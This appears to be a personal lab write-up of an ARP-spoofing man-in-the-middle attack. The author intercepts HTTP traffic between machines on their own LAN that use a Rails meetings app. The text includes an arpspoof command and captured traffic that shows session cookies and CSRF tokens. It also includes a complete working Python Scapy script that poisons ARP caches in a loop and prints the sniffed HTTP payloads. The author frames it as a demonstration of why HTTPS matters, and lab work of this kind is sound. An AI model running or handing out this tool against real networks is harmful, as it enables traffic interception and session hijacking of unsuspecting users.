

# ***MITM Network Sniffer***

***Deniz Eker***

I created a *network sniffer* that acts as a "man-in-the-middle" (MITM) to intercept and read unencrypted traffic on a local network. Specifically, we tested this on a **LAN server** used for *meetings, planning, and discussions* (like a simple event management app). The goal was to demonstrate how insecure HTTP traffic can be intercepted.

## **How It Works**

### **1. ARP Spoofing:**

- The attacker (Kali Linux VM) tricks the victim (Windows) and router into thinking it's the "real" router/victim.
- This redirects all traffic through the attacker's machine.

### **2. Sniffing:**

- The attacker's script listens to traffic passing through their machine.
- If the traffic is unencrypted (HTTP), it can be read in plaintext (like usernames, passwords, messages).

## **Process (Step-by-Step)**

### **1. Set Up the Target:**

- Created a *Ruby on Rails* server on Windows for meetings/planning (port 3000).
- **Mistake:** Initially, the server was only accessible via localhost (no network traffic).
- **Fix:** Ran the server on the Windows LAN IP so other devices could access it.

### **2. ARP Spoofing:**

- **Mistake:** Forgot to disable Windows firewall, blocking the attack.
- **Fix:** Turned off firewall temporarily.
- Used arpspoof to redirect traffic:

```
sudo arpspoof -i eth0 -t [Windows-IP] [Router-IP]
```

### 3. Sniffing Script:

- **Mistake:** The Python script had syntax errors (e.g., broken threading).
- **Fix:** Rewrote the script to:
  1. Continuously send fake ARP replies.
  2. Capture only HTTP traffic on port 3000.
- **Key Code:** Filtered TCP port 3000 and decoded raw HTTP data.

### 4. HTTPS Issues:

- **Mistake:** The Rails app used HTTPS by default, encrypting traffic.
- **Fix:** Disabled HTTPS in the Rails config file:

```
config.force_ssl = false # In config/environments/development.rb
```

### 5. Testing:

- **Mistake:** Testing with localhost (no network traffic).
- **Fix:** Used curl http://[Windows-IP]:3000 from Kali to generate real HTTP traffic.

## Final Working Setup

- **Victim:** Windows machine running a Rails server for meetings at http://yourip:3000.
- **Attacker:** Kali Linux running:
  1. ARP spoofing to redirect traffic.
  2. Python sniffer to capture HTTP data.
- **Result:** When someone accessed the meetings server, the attacker could see:

```
GET /meetings HTTP/1.1
```

```
User-Agent: Chrome
```

```
Cookie: session_id=1234
```

## Key Takeaways

1. **HTTP is unsafe:** Any data sent over HTTP (usernames, passwords) can be stolen.
2. **ARP Spoofing is easy:** A simple script can trick devices on the same network.
3. **Always use HTTPS:** Encrypts traffic so attackers can't read it.

Before spoofing , the mac address of the laptop is 38-43-7d etc. (windows mac)

Interface: 192.168.0.171 --- 0x17		
Internet Address	Physical Address	Type
192.168.0.1	38-43-7d-c6-a9-76	dynamic

```
(kali@kali)-[~]
$ sudo arpspoof -i eth0 -t 192.168.0.171 192.168.0.1
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
^X@ss8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
8:0:27:da:f1:df 14:5a:fc:2f:75:83 0806 42: arp reply 192.168.0.1 is-at 8:0:27:da:f1:df
```

After spoofing, the MAC address of the LAN IP changed to the attacker's MAC."

Interface: 192.168.0.171	---	0x17
Internet Address	Physical Address	Type
192.168.0.1	08-00-27-da-f1-df	dynamic

```
Kali Linux 2025.1c [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

kali@kali: ~
kali@kali: ~
kali@kali: ~

[TCP] 192.168.0.171:3000 → 192.168.0.164:56748
[TCP] 192.168.0.171:3000 → 192.168.0.164:56748
[*] HTTP Content:
HTTP/1.1 302 Found
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
location: http://192.168.0.171:3000/meetings
content-type: text/html; charset=utf-8
cache-control: no-cache
set-cookie: _roundtable_session=PMvfJ2x2B82FvNavN2R60Mz9ezyDv10ZEN2BeZo8kWK2Fvd55No3tpJ3GyFXM0mdSETX02hbJ2gXWls2h5fMLHCPVQ2TLvt3sWss09QUHaE56bBAFKBzHdvo4L8gJC7w911nCaSNfQoS1j20Ye

[TCP] 192.168.0.164:56748 → 192.168.0.171:3000
[TCP] 192.168.0.164:56748 → 192.168.0.171:3000
[*] HTTP Content:
GET /meetings HTTP/1.1
Host: 192.168.0.171:3000
Cookie: _roundtable_session=PMvfJ2x2B82FvNavN2R60Mz9ezyDv10ZEN2BeZo8kWK2Fvd55No3tpJ3GyFXM0mdSETX02hbJ2gXWls2h5fMLHCPVQ2TLvt3sWss09QUHaE56bBAFKBzHdvo4L8gJC7w911nCaSNfQoS1j20Ye3HwG
TkWXXvZmC3VaZ54QD07czCdeKKBMfQn2LtJ3FYDK2MnLYJKA1k8gQwEiaq3tnq9e0D2URt5Hb1BKSHtVLOBYBpsr6fxf2F3B2G0GyVmbuU76g3D3D3D --- bhqFqnBv0emhJ4FM --- a0N28PL6pUnCyltVK2ake2nQ3D3D3D
Connection: keep-alive
Upgrade-Insecure-Requests:

[TCP] 192.168.0.171:3000 → 192.168.0.164:56748
[TCP] 192.168.0.171:3000 → 192.168.0.164:56748
[*] HTTP Content:
HTTP/1.1 200 OK
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
link: </assets/application-8b441ae0.css>; rel=preload; as=style; nopush,</assets/tailwind-c2bf3efb.css>; rel=preload; as=style; nopush,</assets/application-22dc1be8.js>; rel=modu
content-type: text/html; charset=utf-8
etag: W/"dc9b0bff7d461824d0b2fed4b1920a5"
cache-control: ma

[TCP] 192.168.0.164:56748 → 192.168.0.171:3000
[TCP] 192.168.0.164:56748 → 192.168.0.171:3000
[*] HTTP Content:
GET /assets/application-8b441ae0.css HTTP/1.1
Host: 192.168.0.171:3000
Accept: text/css,*/*;q=0.1
Connection: keep-alive
Cookie: _roundtable_session=T3Nmpsx6b0f6MGHse2sX6d4QvX36gCTzwrjF2FD61XWlUw1tGmptg2F3Xuihg34ln2tc71qp3sw7gA5ex5Fdw6Y5f64qen5zjIR6y7K2Be41Qu833Bd61A32BQH22PHY7jPXDB76Uv0xbmkE4VI
dDhLJ2T07kdD4Klr613L3qFkuDk2FU9jreq4WVBX2FUJE3y60VH7eKauX2BkRWLKa5m3G6A9vF0p5K2F5vzX9ESeQLZ8SAjX8kXK1fna15x --- j8HVfHpyYCP4ewdB --- QzKRj0tewWylmKo

[TCP] 192.168.0.164:56749 → 192.168.0.171:3000
[TCP] 192.168.0.171:3000 → 192.168.0.164:56749
[TCP] 192.168.0.164:56750 → 192.168.0.171:3000
[TCP] 192.168.0.171:3000 → 192.168.0.164:56750
[TCP] 192.168.0.164:56749 → 192.168.0.171:3000
[TCP] 192.168.0.164:56749 → 192.168.0.171:3000
[*] HTTP Content:
GET /assets/tailwind-c2bf3efb.css HTTP/1.1
Host: 192.168.0.171:3000
Accept: text/css,*/*;q=0.1
```

Here I called the sniffer ( python script ) .

```
kali@kali: ~  
File Actions Edit View Help  
kali@kali: ~ kali@kali: ~  
<meta name="csrf-param" content="authenticity_token" />  
<meta name="csrf-token" content="lucyKpSiPg-52l6X7_k3bKHjDXSi0L6l_sk1DCWv_AfodblCeHUSet2dvGyLbzt_9v0cvV8009gl-AhBrrJ9eA" />  
  
<link rel="icon" href="/icon.png" type="image/png">  
<link rel="icon" href="/icon.svg" type="image/svg+xml">  
<link rel="apple-touch-icon" href="/icon.png">  
  
<link rel="stylesheet" href="/assets/application-8b441ae0.css" />  
<link rel="stylesheet" href="/assets/tailwind-c2bf3efb.css" />  
<script src="/assets/application-22dc1be8.js" data-turbo-track="reload" type="module"></script>  
</head>  
  
<body class="bg-gray-100 text-gray-800 font-sans">  
  
<div class="max-w-3xl mx-auto p-6">  
  <!-- BEGIN app/views/meetings/index.html.erb --><h1 class="text-4xl font-bold mb-8">Meetings</h1>  
  
  <div class="space-y-4">  
    <div class="bg-white p-4 rounded-xl shadow hover:shadow-md transition-all">  
      <h2 class="text-xl font-semibold">TestedURL</h2>  
      <p class="text-sm text-gray-600">Scheduled: May 26, 2025 at 23:52</p>  
      <p class="mt-3 text-sm italic text-gray-400">No agenda items yet.</p>  
      <div class="mt-4 flex items-center justify-between">  
        <a class="text-blue-600 hover:underline font-medium" href="/meetings/49">+ View</a>  
        <form class="button-to" method="post" action="/meetings/49"><input type="hidden" name="_method" value="delete" autocomplete="off" /><button data-turbo-confirm="Are you s  
ure you want to delete this meeting?" class="bg-red-600 text-red px-4 py-1 rounded hover:bg-red-700 text-sm" type="submit"> Delete</button><input type="hidden" name="authenticit  
y_token" value="8MQJ7vUJHur4Axb9a-qTE5a6HF_25rYfRL1yqBdFospFomSUR1rf0f2prJINrQcunq69m2X3LpaZvJK6L_VtWA" autocomplete="off" /></form>  
      </div>  
    <div class="bg-white p-4 rounded-xl shadow hover:shadow-md transition-all">  
      <h2 class="text-xl font-semibold">TestProject</h2>  
      <p class="text-sm text-gray-600">Scheduled: May 27, 2025 at 00:27</p>  
      <p class="mt-3 text-sm font-semibold text-gray-700">Agenda Preview:</p>  
      <ul class="mt-1 list-disc list-inside text-sm text-gray-500">  
        <li>mesaj</li>  
      </ul>  
      <div class="mt-4 flex items-center justify-between">  
        <a class="text-blue-600 hover:underline font-medium" href="/meetings/51">+ View</a>  
        <form class="button-to" method="post" action="/meetings/51"><input type="hidden" name="_method" value="delete" autocomplete="off" /><button data-turbo-confirm="Are you s  
ure you want to delete this meeting?" class="bg-red-600 text-red px-4 py-1 rounded hover:bg-red-700 text-sm" type="submit"> Delete</button><input type="hidden" name="authenticit  
y_token" value="KAMSkakug66hSK0JPsi_6Zm7N2uy_xM_H98E4QRnz212zPZW2c2_NLfwzYWN4L8hd-NNNEPcc3d0052sv-rDw" autocomplete="off" /></form>  
      </div>  
    </div>  
  </div>  
  
<div class="mt-8">  
  <br>  
  <br>  
  <a class="bg-blue-600 text-white px-4 py-2 rounded hover:bg-blue-700" href="/meetings/new">+ New Meeting</a>  
</div>  
  <!-- END app/views/meetings/index.html.erb -->  
</div>  
</body>  
</html>  
  <!-- END app/views/layouts/application.html.erb -->  
kali@kali: ~
```

I used curl to simulate real HTTP traffic. We can see the server's home page and all the meetings and messages.

The python script for the sniffer:

```
GNU nano 8.4 mitm_sniffer.py
from scapy.all import *
import time
from threading import Thread

# CONFIGURATION (UPDATE THESE!)
TARGET_IP = "192.168.0.171" # Windows host IP (victim)
GATEWAY_IP = "192.168.0.1" # Router IP
INTERFACE = "eth0" # Kali's network interface (check with 'ip a') is disabled in your Kali app

def get_mac(ip):
    """Get MAC address of a device on the network"""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False)
    return ans[0][1].hwsrc if ans else None

def spoof():
    """Send precise ARP replies to perform MITM"""
    target_mac = get_mac(TARGET_IP)
    gateway_mac = get_mac(GATEWAY_IP)

    # Tell victim we're the router
    sendp(Ether(dst=target_mac)/ARP(op=2, psrc=GATEWAY_IP, pdst=TARGET_IP, hwdst=target_mac),
          iface=INTERFACE, verbose=False)

    # Tell router we're the victim
    sendp(Ether(dst=gateway_mac)/ARP(op=2, psrc=TARGET_IP, pdst=GATEWAY_IP, hwdst=gateway_mac),
          iface=INTERFACE, verbose=False)

def process_packet(packet):
    """Process captured packets with debug info"""
    if packet.haslayer(TCP):
        src_port = packet[TCP].sport
        dst_port = packet[TCP].dport
        print(f"\n[TCP] {packet[IP].src}:{src_port} → {packet[IP].dst}:{dst_port}")

    if packet.haslayer(Raw):
        try:
            payload = packet[Raw].load.decode('utf-8', errors='replace')
            if "HTTP" in payload:
                print("[+] HTTP Content:")
                print(payload[:500]) # Print First 500 chars to avoid clutter
        except Exception as e:
            print(f"[!] Decode error: {e}")

def arp_spoof_loop():
    """Continuous ARP spoofing"""
    while True:
        spoof()
        time.sleep(2)

def start_sniffer():
    """Start sniffing HTTP traffic on port 3000"""
    print(f"[+] Sniffing on {INTERFACE} (port 3000) ...")
    sniff(
        iface=INTERFACE,
        filter="tcp port 3000", # Focus on HTTP traffic only
        prn=process_packet,
        store=False
    )

if __name__ == "__main__":
```

```
if __name__ == "__main__":
    try:
        print("[*] Starting ARP spoofing (MITM) ... ")
        print(f"[*] Spoofing: {TARGET_IP} → {GATEWAY_IP}")

        # Start ARP spoofing in background
        spoof_thread = Thread(target=arp_spoof_loop)
        spoof_thread.daemon = True
        spoof_thread.start()

        # Start sniffer
        start_sniffer()

    except KeyboardInterrupt:
        print("\n[*] Stopping MITM attack ... ")
```

